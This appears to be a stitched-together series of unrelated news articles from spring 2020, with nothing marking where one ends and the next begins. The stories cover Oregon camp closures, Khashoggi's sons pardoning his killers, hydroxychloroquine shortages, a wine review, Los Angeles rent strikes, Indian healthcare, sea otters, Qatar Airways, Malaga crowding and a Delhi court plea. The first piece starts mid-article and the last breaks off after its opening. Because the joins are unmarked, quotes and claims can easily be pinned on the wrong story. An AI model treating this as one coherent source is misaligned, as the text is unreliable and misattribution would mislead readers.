During the call, the governors office and the Oregon Health Authority discussed draft guidance that would allow youth day camps and overnight camps to operate this summer amid the coronavirus crisis. Von Borstel left the meeting confident that she and her staff would be able to put together an in-depth plan to safely open Camp Howard, a popular overnight camp outside of Corbett run by the Catholic Youth Organization.

But von Borstel and other overnight camp operators felt blindsided by the finalized guidance the Oregon Health Authority issued last Friday. The rules allow day camps to move forward with restrictions, but say overnight camps are not permitted to open or operate at this time.

It would have helped if we would have known in advance, instead of hearing it that way, said von Borstel, Camp Howards executive director. Were working with them, were getting ready to go, were putting all this advertising out, and then they make this announcement without a word to us.

While the state currently prohibits overnight camps, it has left the door open for potentially allowing those camps to reopen later this summer.

Charles Boyle, a spokesman for the governors office, said the decision to restrict operations to day camps was made in the interest of safety. He said the governors office is continuing to discuss how overnight camps could safely operate and will decide whether to issue new guidance in the coming weeks.

As the governor has said before, our approach to reopening is to proceed carefully, with science and data guiding us, Boyle wrote in an email. When it comes to reopening summer camps in Oregon, the safety of Oregons children (as well as the staff watching over them) is our primary focus. With reopening comes risks, and as we go out onto the ice, we need to test our footing with each step.

But the lack of clarity over whether overnight camps will be allowed has left operators scrambling.

Some camps are preparing to open without knowing whether they will be allowed to operate. Others have decided that they wont open this summer, even if the state changes course on its guidance for overnight camps.

The Camp Howard board of directors voted Wednesday to cancel camp for the summer, due to the uncertainty around whether overnight camps could safely proceed and the need to inform parents of their plans. The camp had served Oregon children for 66 consecutive summers, offering programming to 1,300 campers annually.

Were in the initial stage of a pandemic and theres too many unanswered questions at this point, von Borstel said.

The Boy Scouts of Americas northwest Oregon and southwest Washington chapter decided to cancel all day and overnight camps last Friday, before the state released its updated guidance. The scouting chapter concluded it could not safely offer its usual programs while maintaining social distancing, and will looking into new family-based activities instead.

The other two Boy Scout chapters in Oregon have canceled their summer camps as well.

We couldnt offer the programs that we thought would make the most impact, said Todd McDonald, director of program and member experience for the Scouts Cascade Pacific Council. We have closed everything down and were regrouping.

Joshua Todd, president and CEO of Camp Fire Columbia, which runs Camp Namanu in Sandy, said the organization has already canceled the first two weeks of camp but is still preparing for the possibility that they could reopen later.

Although he recognizes the challenge the state is facing in putting together guidance for businesses in multiple sectors, Todd said that overnight camps need more clarity on whether they will be allowed to open, so they have time to put together comprehensive plans to safely provide programming to campers.

Camp Namanu is moving forward as if it will be allowed to run in order to give itself enough time to prepare. It has already hired 60 of the usual 80 staff members it brings on to run camp each year.

As we get closer and closer, it becomes really difficult to turn on a dime, Todd said. Theres a lot that goes into running a resident camp. On any week in a normal summer, we could be serving 350 kids.

But Todd also knows that Camp Namanu might not be allowed to operate, a prospect that could be financially devastating to the organization, which has collected half a million dollars in registration fees for this summer and would likely receive another half a million dollars by operating the camp.

The yearly revenue from Camp Namanu is critical for Camp Fire Columbia, a nonprofit that also offers summer days camps and before and after-school care in 15 schools. The organization has been relying on funds from the Paycheck Protection Program, as well as donations from families, to keep staff employed during the coronavirus crisis.

We cant refund half a million dollars of registration fees right now, Todd said. We just dont have that money. I think a lot of camps, especially resident camps, dont work on super huge profit margins. Talking to camp leaders across the state, many people are worried about what impact this will have.

Given the uncertainty over whether overnight camps will be allowed to open, some operators have turned their focus to safely running day camps.

Tyler Wright, the president and CEO of the YMCA of Columbia-Willamette, said that the organization is still holding out hope that it could run an overnight camp at Camp Collins in Gresham, but is also preparing to use the property to run day camps. The YMCA will also continue to provide other childcare options for thousands of families over the summer and is looking into the possibility of opening other day camp sites.

But even day camp operators are having to rethink how they offer programming to adhere to state guidance and keep campers safe. That means limiting capacity, adhering to the states ban on swimming pools and discontinuing certain activities, such as horseback riding.

I look at camp more as an opportunity for outdoor enrichment, Wright said. So, what if you didnt have horses, or you didnt have a pool, or you didnt have a climbing wall? Could you not offer an amazing outdoor experience to a child? We can still do a lot of really cool things. Were reimagining our YMCA because were not going back to the way we used to be, nor do I think we should. This is a period of transition for us.

-- Jamie Goldberg | jgoldberg@oregonian.com | @jamiebgoldberg

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories.
The Turkish fiancee of murdered Saudi journalist Jamal Khashoggi said Friday "no one" had the right to pardon his murderers after his sons said they "forgive" the killers.

Khashoggi was killed and dismembered at the Saudi consulate in Istanbul in October 2018.

"His ambush and heinous murder does not have a statute of limitations and no one has the right to pardon his killers. I and others will not stop until we get #JusticeForJamal," Khashoggi's fiancee Hatice Cengiz tweeted.

"The killers came from Saudi with premeditation to lure, ambush & kill him... We will not pardon the killers nor those who ordered the killing," she added.

Cengiz was responding to the Washington Post columnist's son Salah Khashoggi who tweeted earlier Friday that the sons "forgive and pardon those who killed our father" during Ramadan, the Muslim month of fasting which ends this weekend.

Analysts believe the announcement could spare the lives of five unnamed people sentenced to death over the murder in a December court ruling.

Turkish officials say Khashoggi, 59, was strangled and his body was cut into pieces by a 15-man Saudi group inside the kingdom's mission. His remains have never been found.

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Gopesh Patel, RPh, with VLS Pharmacy in Brooklyn, has filled physician prescriptions for more than 70 COVID-19 patients, supplying a compounded formulation with hydroxychloroquine. Read more

When Kayla Ramsey-Aquino heard President Donald Trump say this week that he was taking an anti-malaria drug to protect himself from the coronavirus, she thought, Here we go again.

An increase of prescriptions flooded pharmacies after Trump touted the drug hydroxychloroquine in March, and people who take the medication to treat autoimmune conditions like lupus and rheumatoid arthritis reported that they struggled to get their prescriptions filled.

Even though the Food and Drug Administration, scientists, leading medical associations, and academics have cautioned against using this drug as a preventative treatment for the coronavirus, saying it could have deadly results, Trump has doubled down. And people like Ramsey-Aquino have been left frustrated, and worried that there could be more shortages of a medication they rely on.

 READ MORE: Hydroxychloroquine is not proven to work against the coronavirus. Why not just try it?

Cindy Messerle, CEO of the Lupus Foundation Philadelphia Tri-State Chapter, said she hadnt heard of patients reporting shortages in the last couple of weeks. But she said Trumps comments this week were making everyone nervous again.

As an organization, we are coming out of this, almost breathing a sigh of relief, OK, things are settled. To have it be brought up again is challenging, Messerle said. Youve got a population that relies on this drug to get through the day."

Ramsey-Aquino has been taking hydroxychloroquine since 2006, when she was diagnosed with the autoimmune disease lupus. Aquino described hydroxychloroquine as the National Guard for my body. Lupus causes her immune system to attack her own tissues and organs, and hydroxychloroquine acts as an anti-inflammatory.

For the rest of lupus patients, having trouble accessing medicine was slowing down, the hydroxychloroquine talk was finally over. I thought, Everyone is able to get their medicine. No one will have to ration or go without, and then this popped back out," said Ramsey-Aquino, 35, of Northern Liberties. I have enough medicine for three months, but I worry about others.

The Food and Drug Administration issued a safety alert April 24, cautioning that the drug should only be used as a treatment for the coronavirus in a hospital setting or clinical trial, and that the agency has received reports of serious side effects, especially for those with heart rhythm problems. Physicians have also warned that taking this without a doctors supervision could have deadly results.

 READ MORE: Drug promoted by Trump as coronavirus game changer increasingly linked to deaths

We know  quite factually and evidence-based  that it does a lot of clear good for people with these autoimmune diseases, vs. a hypothetical benefit that is not evidence-based for people with COVID-19, Jules Lipoff, a physician and assistant professor of clinical dermatology at the University of Pennsylvania Perelman School of Medicine, said in March.

Deb Jepson, 56, of Fairless Hills, has lupus and has been taking hydroxychloroquine daily for almost two decades. She has enough medication left for two months, but said she has heard stories about others who werent as lucky. She is already thinking about when it will be time to refill her prescription and has decided shell try to get it earlier, she said, just so I can have peace of mind."

The first time Trump mentioned hydroxychloroquine, the drug Meredith Maciolek has been taking for 20 years to treat lupus, she sprinted to her computer and hoped she would get a refill in time. The 44-year-old from Plymouth Meeting recalled how it seemed like everyone was out of supplies. She wasnt able to get her medication.

She didnt know when it would be back in stock, so she started rationing her pills. For the next seven days, she had panic attacks. She said she kept thinking: How long do I have until the pain gets so bad that I cant function? Will I be able to bounce back?

 FAQ: Your coronavirus questions, answered.

In early April, she was able to fill a 90-day prescription. Shes working through those pills now, and hopes Trumps latest comments dont affect her and others when they go to fill their prescriptions again.

It was reckless, and it caused a lot of panic across the lupus community, she said of Trumps comments. Its hard enough living with a disease that doesnt make you look like you have a disease, so nobody believes you when youre sick anyway. But to have the fear of it overtaking you is really frightening.
Gascony, in southwestern France, is known more for foie gras and armagnac, a type of brandy, than for wine. Crisp whites made from ugni blanc  the main grape distilled into armagnac  have been great value for summer quenchers for many years. This sauvignon blanc benefits from coastal influences from the Bay of Biscay and the shelter of the Pyrenees Mountains to the south. It offers a saline character, coupled with flavors of peach and passion fruit. The label notes the vineyards surround the medieval town of Condom, which Washington-area foodies may recognize as the hometown of the late chef Jean-Louis Palladin. I tasted the 2018, which is available in the District and Maryland. The Virginia distributor is now carrying the 2019. ABV: 12 percent.
Film director Maya Newell's documentary Gayby Baby sparked a national debate after it was banned in Australian schools.

Her new documentary, In My Blood It Runs, about a charismatic Indigenous boy, is available for free to schools during Reconciliation Week, May 27 until June 3.

Maya Newell Credit:Jacquie Manning

Books  Woman, Girl, Other by Bernardine Evaristo has kept me in a blissfully distracted COVID-19 nest. Its full of nuanced, compelling characters that are so often eclipsed from all the many white pages.

Online  Im motivated by a new social change go-to portal, Commons Library. Its an elongated epiphany for anyone interested in learning how to build collaborative and effective movements for social and ecological justice.
About 13 health personnel in the Eastern region have tested positive to Covid-19.



It is not clear whether they were infected at health facilities or within the community they reside.



Out of the figure, 12 of them are asymptomatic and are doing well but one is in a critical condition and has been referred to the University of Ghana Medical Centre in Accra.



Eastern Regional Director of the Ghana Health Service, Dr Alberta Bretwum Nyarko, told Joy News that Koforidua and Nkawkaw have recorded their first positive cases.



She said though 86 people have recovered out of the 106 positive cases in the Eastern region it was important for everyone to obtain social distancing and adhere to all the safety protocols.



Denkyembour, Fanteakwa North, Akuapem South, And Akuapem North have added on to their cases.



As of now, the Eastern region has recorded 106 cases with 86 recoveries.

Source: joynews









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Demonstrators call for a rent strike during the COVID-19 pandemic as they pass City Hall in Los Angeles, Calif., on May 1, 2020. (Frederic J. Brown/AFP via Getty Images)

LA Rent Strikes Worry Small-Scale Property Owners

Property owners in Los Angeles are concerned about calls for a June rent strike.

The Los Angeles Tenants Union (LATU) has been posting fliers on the streets urging residents not to pay rent and to demand a rent strike, one concerned property manager told The Epoch Times. The fliers were posted in close proximity to her property.

A tenant advocacy group like this only sees the immediate relief for the tenant, said Kari Negri, CEO of SKY Propertiesnot the long-term financial impact to housing providers.

LATU is an autonomous, member-funded union which fights for the human right to housing, according to its website. The group launched a Food Not Rent campaign shortly after the COVID-19 pandemic began. It called for all renters to join a rent strike with the motto: Those who cant pay, wont; those who can pay, dont.

The strike has been fueled by growing unemploymentover 4 million in the state and risingcaused by the shutdowns and stay-at-home orders brought about by the CCP (Chinese Communist Party) virus, commonly known as the novel coronavirus.

According to Dan Yukelson, executive director of the Apartment Association of Greater Los Angeles (AAGLA), the majority of rental housing providers in California are mom-and-pop small ownersand a rent strike could destroy them financially.

AAGLA has 10,000 members. Eighty percent own 25 or fewer units, Yukelson told The Epoch Times. And 74 percent own five units or fewer. Their membership base is typical of the rest of California, he said.

Graffiti calling for a rent strike is seen on a wall on La Brea Avenue in Los Angeles, Calif., on May 1, 2020. (Valerie Macon/AFP via Getty Images)

Throw landlords under the bus

It is crazy to me how misinformed people are, Negri said. Eighty percent of California property owners bought to support their retirement, she said.

I even read an article that said, Throw landlords under the bus, she said, referring to an April 30 editorial in the online publication CounterPunch.

We can save the economy, the editorial stated. We have to throw the landlords under the bus to do it.

This sentiment is echoed in LATUs Food Not Rent guide. Tenants are instructed to fill out a letter informing the landlord that they cannot pay rent, then encouraged to share photos of their rent strike signs on social media.

We win when we are many, the LATU website says, encouraging tenants to reach out to others and save their money for basic necessities. You cant eat the rent, it adds.

Yukelson calls these efforts a travesty.

These tenant rights groups always try to make housing providers out to be the bad guys, he said. Most of these tenant groups calling for free renta benefit renters once received in the former Soviet Unionare typically aligned with various socialist groups.

He added, It is a shame what is happening in America today, when someone risks their retirement savings to invest in a rental property to house people in their community, and for doing so, they are made out to be a pariah.

LATU did not respond to several interview requests from The Epoch Times.

In Negris personal experience, the perceived caricature of independent landlords does not align with reality.

My father-in-law came here with $20 in his pocket and a second-grade education, she recalled. He worked on the General Motors line in Van Nuys [and] lived in a rented room in someone elses home until he was 40 to build his apartment buildingthe American dream. He made huge sacrifices to have the 10-unit building.

No one should step on his neck to further their agenda, she added.

Carrie Appling, president of CAL Property Management, told The Epoch Times that most owners are not sitting on a pile of money.

They have mortgages and expenses, and many depend on the rent for their income, she said. A rent strike puts a great financial burden on them.

There is no mortgage forgiveness for owners, only deferment to pay at a later date, she added. No discounts are being given.

Building tenants hang signs from their roof in the Crown Heights neighborhood during a rent strike in New York City on May 1, 2020. (Angela Weiss/AFP via Getty Images)

Freight Train Bearing Down

On March 25, Gov. Gavin Newsom announced that financial institutions will provide relief for the vast majority of Californians, including a 90-day grace period on mortgage payments. But most property owners dont qualify, because their properties are considered commercial, not residential.

Many will lose their properties to foreclosure, Yukelson said. That freight train is bearing down on rental property owners right now.

Matt Williams, president of Williams Real Estate Advisors, told The Epoch Times that property owners will not have legal recourse for any unpaid rent for at least 12 months.

Williams said owners arent eligible for the Paycheck Protection Program (PPP), because income from rental property is classified as Schedule E, or investment income, as opposed to personal income. And Economic Injury Disaster Loans are very difficult to receive.

Since they dont pay payroll taxes on that Schedule E income, they cant apply for PPP, he said. Theres no government help available.

The Legal Perspective



Shanti Singh is the communications coordinator for Tenants Together, a group dedicated to defending and advancing the rights of California tenants to safe, decent and affordable housing.

The situation is very fluid, she told The Epoch Times. We are letting different groups do what they feel is right for them, while supporting struggling renters and housing justice groups with the tools to organize collectively as they see fit.

Singh declined to comment on any present plans for a rent strike, but made it clear that Tenants Together is campaigning to cancel not only rents, but also mortgages for small property owners who depend on rental income.

These are concurrent demands for the housing justice movement, she said.

Several other tenant groups declined to comment on the strikes.

Frances Campbell, an L.A. attorney specializing in housing law and tenants rights, said these demands are more of a political statement than a legal dispute. The government doesnt have the power to cancel a contract, she told The Epoch Times.

If [we] have a contract, [and] I sell you a bushel of apples for $5, the government cant just say, No, youre just gonna give them the bushel of apples for free. You cant do that, she said.

She added that she would not recommend a client to participate in a rent strike. She also said it is not legal for a landlord to ask a tenant for any stimulus money they receive.

If the tenant is unable to pay rent due to circumstances related to COVID-19, thats going to create a defense to a later eviction, she said. But theyre going to have to prove that they lost money and couldnt pay the rent due to COVID-19.

Tenant Fears

Newsom passed an executive order on March 27 prohibiting the eviction of tenants affected by the COVID-19 crisis. The order states, however, the tenant would remain obligated to repay full rent in a timely manner and could still face eviction after the enforcement moratorium is lifted.

That moratorium ends May 31. Newsom may extend the moratorium, but had not as of May 22. The California Judicial Council has said courts will not hear any eviction cases for 90 days after the moratorium expires.

Many tenants who have been unable to pay rent could face a mass of debt having to pay back months of rentplus worry about evictionin the end.

A Los Angeles tenant and rent-strike organizer named Kenia Alcocer told NBC News she has to choose between paying rent or food and medical bills. She gave birth to her second child earlier this year and he has health problems. Her husband was recently laid off.

Rent is the last thing I want to think about during this crisis, and being evicted is the last thing I want to worry about, she said.

Landlords and Tenants Working Together

Kendra Bork, president of the Southern California Rental Housing Association, told The Epoch Times that she hears about rent strikes every time we get close to the first of the month.

She hopes that people recognize that rent does not go straight into their landlords pocket. Its being used to pay for other small businesses that their landlord is usingthe painters, the electricians, the people that do repairs, the landscapers, she said.

If people dont pay their rent, these people dont get paid, she said, creating a domino effect.

Bork worked with tenants individually to develop payment plans, waive late fees, instate deferments, and refer residents to helpful resources.

So far, it hasnt been as bad as we thought it was going to be, she said. Everybodys working togetherboth on the resident and the landlord side. [Theyre] finding ways to make it work.

The trajectory of a union tenant rent strike is just the worst trajectory, Williams said. Everybody loses. Its a no-win situation. He called the process super-stressful.

At the end of the day, youre going to still be responsible for the rent, he added.

Williams made it a point to be proactive with affected tenants who reside in the 500 units he manages. Of 28 tenants impacted by the pandemic in April, 16 of them were able to offer partial payment.

I told my entire staff, if anybody calls, tell them were ready to help in a heartbeat, and were happy to do it, he said. Tenants who are honest and genuine, no owner wants to hurt.

He mentioned one tenant who came to him and explained she couldnt pay rent because she was unemployed.

This tenant had a real issue, Williams recalled. I told her that we were going to work with her no matter what. If she couldnt pay anything, that was okay.

With tears in her eyes, all she could say was Thank you.
Source: Xinhua| 2020-05-22 18:20:14|Editor: huaxia

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by Duncan Murray, Yang Guo

SYDNEY, May 22 (Xinhua) -- While COVID-19 travel restrictions mean it could be sometime before Australians get to visit China in person, the next best thing could be a virtual experience provided by the China Cultural Centre (CCC) in Sydney.

Adapting to the unique times and widespread lockdowns across Australia, the CCC launched its "Visiting China Online" project -- a series of seven virtual exhibitions released one by one from mid-March, focused on introducing audiences to Chinese history, imagery, and culture.

Xiao Xiayong, director of the CCC in Sydney, told Xinhua that his organization hoped to make the most possible out of the tragic pandemic to improve the understanding of Australians about China.

"This year's epidemic has definitely affected us a lot. After February, many domestic groups were unable to travel," Xiao said.

"During the epidemic, basically all art galleries and museums were closed, and offline activities were not available. Our online exhibitions became a window for everyone to understand Chinese art."

The exhibitions include "Our Silk Road: Online Photo Exhibition", "Colorful And Diverse Splendid Costumes of Chinese Ethnic Groups", "Bamboo Culture: Understanding Oriental Aesthetics", and "Exploring the Mysteries of Ancient Shu Relics."

Through images, audio, virtual reality and animation, visitors can learn the history of Chinese script, explore the mysteries of ancient Shu relics, journey down the rugged paths of the Silk Road, and much more.

One of the highlight exhibits, set to launch on June 12, focuses on China's world-renowned Terracotta Warriors. The release is the culmination of the project and is intended to coincide with China's Cultural and Natural Heritage Day, which falls on June 13.

"Qin: the Past and Present of Terracotta Warriors and Horses" allows viewers to explore the world-heritage listed archaeological sites in Shaanxi province and learn about the first Emperor of China, Qin Shi Huang.

Furthermore, history is brought to life through related works such as modern dance "Symbiosis", Qinqiang Dance Drama, "Soul of the Terracotta Warriors of the Qin Dynasty" and other immersive experiences of the resurrected terracotta warriors and horses.

One of the exhibition's visitors, Andrew Barty-King, expressed his surprise at the hidden depths of China's history and culture which he discovered through the project.

"A beautiful and moving portrayal of the diversity of Chinese nationality and culture. All too many people in other countries are not aware of these facts," Barty-King posted online.

Xiao explained that the CCC sought to be as creative and advanced as possible in how they crafted the virtual experience.

"Ideal online exhibitions should use various new internet interaction technologies, such as more images, audio, video, virtual reality, and flash animation, but the difficulty lies in the need for strong technical support, and the production takes time," he explained.

To achieve this the CCC recruited the help of local organizations and artists to tailor the experience to Australian tastes and curiosities.

This included a collaborative series with the Sydney National Tourist Office and promotion of such titles as "Beijing Tourism Tips," "Beijing Food You Like," and "Top 10 Cultural Tourism Festivals in Beijing."

When global affairs eventually return to normal and international travel reopens, Australians will have a head start and base of knowledge from their online experience, before perhaps continuing the journey in person. Enditem
We should try to decrease the length of stays to what's required as longer anyone stays in the hospital the worse it's for them medically and financially.

"Healthcare is broken and needs to be fixed

This has been the rallying cry in all parts of the world before we were all thrown into a pandemic. It was heard in countries that had nationalized healthcare and private healthcare or a mix of both.

The pandemic has reinforced that belief even more since no country was really prepared for what happened when COVID-19 hit. Of course, some countries dealt with it better than others. However, that is a discussion for another time. Instead, let us focus on why everyone felt healthcare was broken, to begin with, and how we can use this pandemic as an opportunity to slam hard on the reset button and restart healthcare in a meaningful, safe and fiscally responsible manner in India.

In the last 54 days of the lockdown (till 17th May), we have seen that outpatient visits have dropped significantly, emergency departments have been empty, elective surgeries have not been done, laboratory tests have decreased and purchase of medications have come down. In spite of all this, the number of deaths has decreased by 30 percent compared to the same time last year. Some of this could be related to the fact that road traffic accidents had decreased due to the lack of vehicular traffic. However, this does not explain the decrease in deaths from strokes, heart attacks, pneumonia and other common illnesses that used to fill up our intensive care units and are some of the most common causes of deaths. This is definitely a cause to stop and think why this is so and what can we do once we learn to live with the COVID menace.

Current Practices & changes required

Outpatient care

In India, here is an underlying need for fixing the ailing healthcare system by providing comprehensive insurance including outpatient insurance i.e. any medical treatment that does not require hospitalization or an overnight stay at a medical facility of any sort. This will help in improving healthcare indices and decreasing the cost of healthcare in India. The only reason not to see a doctor is financial or the problem gets better before the doctor visit. All of us who have been practising know that most of these visits are more for reassurance and medication adjustments can be done remotely.

What the pandemic has shown us is that at least 30-40 percent of doctor visits can be replaced by video consultation and this is now an accepted as the 'new normal' by patients and doctors. Video consultations will lead to greater access to appropriate, accountable and much more affordable outpatient care for patients and will decrease the cost of providing care for the doctors and hospitals by reducing the cost of infrastructure and manpower. This should be the rule rather than the exception going forward. These consultations should be augmented with home delivery of medications, lab sample collection, point of care testing and home therapy.

It is also well known that many of the tests done and medications prescribed are not necessary or inappropriate during outpatient visits. It has been noticed that with video consultations the number of lab tests done have come down and so have prescriptions for antibiotics in particular and medications in general.

Inpatient care

Indian inpatient care has been more regulated than outpatient care due to the various insurance policies and schemes. In spite of this, there is very little standardization of care. COVID-19 has taught us that protocols are useful and are required to ensure that all patients get the same treatments that are considered safe and effective by professional bodies. We should do the same for non-COVID admissions as well. If most of the patients got similar care we will be able to standardize the cost of care for most of the common inpatient admissions.

We should also ensure that we make every effort to decrease the length of stays for inpatient admissions to what is actually required. The longer anyone stays in the hospital the worse it is for the patients medically and financially. Going forward we should definitely try to decrease any extra hospital exposure to COVID for our patients by decreasing their average length of stay (ALOS). The patients who are discharged early can be taken care of with video consults, remote monitoring using the technology available and provision of home care if required. The insurance companies should incentivize early discharges and pay for post-discharge care for at least for a few days as they will be saving money as home care will be significantly less than inpatient hospital care. Early discharges will help hospitals and well as they can turn around beds for more patients faster and hence can have hospitals with fewer beds, thereby decreasing their capital expenditure without decreasing their capacity to accept more patients.

Intensive care

This is the most important care that a patient receives in a hospital as it is mostly lifesaving care. However, for the same reason, there is not much oversight as to how many invasive procedures and invasive monitoring methods are performed and if accepted protocols are used in a given patient. The pandemic has taught us that even in ICUs the appropriate protocols can be used successfully across countries. We should look at using digital clinical decision support systems in the ICUs to prompt doctors to use the right protocols and procedures for all non-COVID patients as well. This will help hospitals standardize treatment and costs for ICU care. This will help us calculate the exact cost that is required for most of the common ICU admissions. This will help the insurance companies and the government to set premiums and reimbursement that are realistic and affordable for patients and fair to the hospitals.

We have also learnt that low-cost equipment can be manufactured and used during a pandemic. We should ensure that equipment like low-cost respirators that dont have the bells and whistles are allowed to be used at least in low resource settings and help save lives from non-COVID diseases as well. The pandemic has also highlighted the severe shortage of intensive care specialists like never before. The solution for this should be the widespread adoption of tele-ICU, a technology that has been tried and tested and available in India for quite a while now.

Finally, to reset and restart the healthcare system in India post COVID we will need help from stakeholders like the government and insurance companies to help the care providers adapt to the 'new normal'. The government will need to expand and clarify the telemedicine guidelines, the doctors and hospitals should be protected from medicolegal issues if they have followed the accepted protocols and guidelines. There should be clear guidelines regarding low-cost equipment, home monitoring and home healthcare. The insurance companies should be encouraged and helped to provide outpatient insurance and immediate post-discharge insurance for all the above-mentioned strategies to work.

It is quite obvious from the above discussions that there are many lessons that we can learn from the COVID pandemic. This crisis is a perfect opportunity for us to practice carpe diem. But will we?

The author is the group medical director at Cloudnine Group of Hospitals.
A new study highlights the need to engage Indigenous communities in managing sea otter population recovery to improve coexistence between humans and this challenging predator.

The sea otters' recovery along the northwest coast of North America presents a challenge for coastal communities because both otters and humans like to eat shellfish, such as sea urchins, crabs, clams and abalone. Expanding populations of sea otters and their arrival in new areas are heavily impacting First Nations and Tribes that rely on harvesting shellfish.

SFU lead author Jenn Burt says the study focused beyond the challenges to seek solutions going forward. "We documented Indigenous peoples' perspectives which illuminated key strategies to help improve sea otter management and overall coexistence with sea otters."

Most research focuses on how sea otter recovery greatly reduces shellfish abundance or expands kelp forests, rather than on how Indigenous communities are impacted, or how they are adapting to the returning sea otters' threat to their food security, cultural traditions, and livelihoods.

Recognizing that Indigenous perspectives were largely absent from dialogues about sea otter recovery and management, SFU researchers reached out to initiate the Coastal Voices collaboration.

Coastal Voices is a partnership with Indigenous leaders and knowledge holders representing 19 First Nations and Tribes from Alaska to British Columbia.

Based on information revealed in workshops, interviews, and multiple community surveys, SFU researchers and collaborating Indigenous leaders found that human-otter coexistence can be enabled by strengthening Indigenous governance authority and establishing locally designed, adaptive co-management plans for sea otters.

The study, published this week in People and Nature also suggests that navigating sea otter recovery can be improved by incorporating Indigenous knowledge into sea otter management plans, and building networks and forums for community discussions about sea otter and marine resource management.

"Our people actively managed a balanced relationship with sea otters for millennia," says co-author and Haida matriarch Kii'iljuus (Barbara Wilson), a recent SFU alumnus.

"Our work with Coastal Voices and this study helps show how those rights and knowledge need to be recognized and be part of contemporary sea otter management."

Anne Salomon, a professor in SFU's School of Resource and Environmental Management, co-authored the study and co-led the Coastal Voices research partnership.

"This research reveals that enhancing Indigenous people's ability to coexist with sea otters will require a transformation in the current governance of fisheries and marine spaces in Canada, if we are to navigate towards a system that is more ecologically sustainable and socially just," says Salomon.

Despite challenges, the authors say transformation is possible. They found that adaptive governance and Indigenous co-management of marine mammals exist in other coastal regions in northern Canada and the U.S. They suggest that increasing Indigenous leadership and Canadian government commitments to Reconciliation may provide opportunities for new approaches and more collaborative marine resource management.

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Qatar Airways, one of the largest airline in the world has announced that it will offer 1,00,000 free return tickets to frontline healthcare professionals to thank them for their efforts in battling the coronavirus crisis. The Doha based airline made the announced on Tuesday on the occasion of International Nurses Day.

REUTERS

"Healthcare professionals can register for this exclusive offer at our website by submitting a form to receive a unique promotion code, offered on a first come, first served basis," the airline said, adding that healthcare professionals from every country in the world will be eligible for tickets. The giveaway closes at 23:59 on May 18 (Doha time).

We at Qatar Airways are incredibly grateful for the commitment and hard work of healthcare professionals around the world who looked after people in these times of uncertainty, Qatar Airways Group Chief Executive, Akbar Al Baker said.

REUTERS

Their heroic display of kindness, dedication, and professionalism has saved hundreds of thousands of lives around the world. Now it is our turn to give something back to those on the healthcare frontline. There are no words or gestures that are enough to repay these brave men and women but we hope that our small offer of a complimentary return flight on Qatar Airways will allow them to enjoy a well-deserved holiday, visit family and friends or explore a destination they have always dreamed of, as travel restrictions start to ease.

This comes as Qatar Airways has begun a phased approach to expanding its network, and aims to rebuild to 52 destinations by the end of May, and 80 by June. State-owned Qatar Airways has been one of few airlines to continue regular, scheduled flights during the global lockdowns to contain the novel coronavirus, maintaining services to around 30 destinations.

REUTERS

It said this month it would gradually resume flights to some of the 165 destinations it served before the outbreak, aiming to fly to 80 destinations by the end of June. I am sure there will be demand, Akbar al-Baker told Reuters by phone, forecasting the airline would be able to fill between 50% and 60% of seats.

There are still a lot of people stranded around the world (and) people who want to visit their loved ones. Airlines are considering how to safely operate services and give passengers confidence to fly ahead of restrictions easing.

REUTERS

Some have discussed leaving middle seats empty on flights to enable social distancing, while some are requiring passengers to wear masks on board. Qatar Airways will encourage passengers to keep a safe distance from each other where possible while on board, Baker said.
Police presence has been stepped up in the Malaga neighbourhood of Pedregalejo this week as many of its bars and restaurants reopened for the first time and complaints quickly started to pour in about overcrowding on the seafront.

This popular meeting spot sees terraces spill onto a thin strip of promenade which gets especially busy around meal times. Despite the lockdown, this week was no exception. With very limited space available, the only giveaway that the images of crowds seen this week weren't from a previous August day were the facemasks worn by waiters.

With people standing around, huddled together, waiting for a table narrowing the thoroughfare for cyclists and people on their daily permitted exercise, distancing has become particularly difficult and locals have become fearful for their safety. "We go out in fear because people don't respect the safety measures, don't wear gloves or masks," said one elderly resident wearing a visor.

"This is becoming a huge source of contagion for the elderly, who are more vulnerable," said another.

As a result, the Local Police have had to intervene, increasing the number of officers (uniformed and plain-clothes) on patrol in the area to 30 on Wednesday.

By Thursday, after officers had started to take a less lenient approach with those breaching rules and issued numerous fines for failure to comply, bicycles and electric scooters have now also been banned from the seafront between the Banos del Carmen and El Candado. This will particularly be enforced during the evening slot designated for exercise.
Brazzaville, Congo (PANA) - Leaders of Congolese opposition parties, not represented in Parliament, have jointly proposed the creation of a real fighting fund of 500 billion CFA francs, to break the chains of transmission of the Covid-19, strengthen infrastructural capacity of health facilities and ensure health protection of the people, PANA learned on Friday at their political platform in Brazzaville
The Delhi High Court Friday refused to entertain a plea seeking direction to the Delhi government to come out with actual figures of COVID 19 cases and the death count without any delay and to scrap the death audit committee.

A bench of Chief Justice D N Patel and Justice Prateek Jalan, conducting the hearing through video conferencing, disposed of the petition and granted liberty to the petitioner to approach the court again at an appropriate time.

The PIL, filed by All India Lawyer's Union, sought direction to the Delhi government to publish the data relating to confirmed cases of COVID-19 and deaths occurring due to it through a daily bulletin every 24 hours, based on the figures being provided by various government and private hospitals.

The plea, filed through advocate Fidel Sebastian, said the AAP government has claimed that they have constituted a Death Audit Committee on April 20 and the figures are being released by the committee after collecting the data.

However, the huge discrepancy between the actual information being provided by the various hospitals and the figures being released by the Delhi government has not been explained, it said.

The plea said it is immoral on the part of the Delhi government to conceal from citizens the actual figures of the spread of the virus and the death toll.

The citizens have a right to know the correct facts and to take their own decisions on the issues confronting them. The figures of new cases and death toll are being given by responsible medical officers of the respective hospitals, there is no relevance of the Death Audit Committee and the said committee is liable to be scrapped, it said.

It claimed the Delhi government is deliberately underplaying the extent of the pandemic resulting from the COVID virus by, amongst other things, establishing a committee which screens reports from hospitals that are treating the people stricken with COVID.

"It has been extensively reported by the print and electronic media as well as representatives of the people and civil society at large that there is a deliberate attempt on the part of the Delhi government to downplay the seriousness of the spread of the disease and the number of deaths caused by the virus in the city.

As per the Delhi government, the figures of COVID-19 patients as on May 17, 2020 is 9,755 with deaths at 148. However, the figures of death released by the Respondents do not even come near the figures released by two among the several major hospitals who are admitting and treating COVID-19 patients," the petition said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Tracking the tinderbox: Stanford scientists map wildfire fuel moisture across western US

As California and the American West head into fire season amid the coronavirus pandemic, scientists are harnessing artificial intelligence and new satellite data to help predict blazes across the region.

